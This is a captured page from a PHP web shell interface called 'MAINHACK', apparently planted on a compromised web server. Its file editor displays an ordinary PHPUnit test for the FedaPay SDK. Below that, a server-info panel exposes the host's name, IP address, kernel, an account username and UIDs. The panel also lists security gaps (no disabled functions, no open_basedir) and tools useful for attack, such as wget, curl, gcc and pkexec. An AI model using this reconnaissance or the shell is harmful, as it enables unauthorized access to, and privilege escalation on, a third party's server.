[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FedapayObjectTest.php
<?php namespace Tests; class FedaPayObjectTest extends BaseTestCase { /** * Should set and get object attributes */ public function testShouldSetObjectAttribute() { $object = new \FedaPay\FedaPayObject; $object->id = 1; $object->name = 'name'; $this->assertEquals($object->id, 1); $this->assertEquals($object['id'], 1); $this->assertEquals($object->name, 'name'); $this->assertEquals($object['name'], 'name'); $object = new \FedaPay\FedaPayObject(2); $this->assertEquals($object->id, 2); $object = new \FedaPay\FedaPayObject(['foo' => 'value']); $this->assertEquals($object->foo, 'value'); $this->assertTrue(isset($object->foo)); $this->assertTrue(isset($object['foo'])); $this->assertFalse(isset($object['doe'])); $this->assertFalse(isset($object->doe)); } public function testShouldSerializeObject() { $object = new \FedaPay\FedaPayObject(['foo' => 'value']); $json = json_encode($object); $this->assertEquals($json, '{"foo":"value"}'); } public function testShouldRefreshObject() { $object = new \FedaPay\FedaPayObject; $object->refreshFrom(['foo' => 'value'], null); $this->assertEquals($object->foo, 'value'); } public function testShouldSerializeObjectParams() { $object = new \FedaPay\FedaPayObject; $object->refreshFrom(['foo' => 'value', 'id' => 2], null); $params = $object->serializeParameters(); $this->assertTrue(is_array($params)); $this->assertEquals($params['foo'], 'value'); $this->assertArrayNotHasKey('id', $params); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002